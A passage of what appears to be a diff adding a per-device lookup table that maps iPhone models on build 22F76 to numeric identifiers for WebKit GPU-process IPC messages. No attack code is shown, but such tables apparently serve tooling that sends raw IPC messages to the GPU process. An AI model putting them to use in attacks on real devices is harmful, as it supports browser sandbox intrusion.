RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone12,3_5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, +"iPhone12,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + + "iPhone12,8_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone13,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone13,2_3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, +"iPhone13,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + + "iPhone13,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,6_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,7_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + 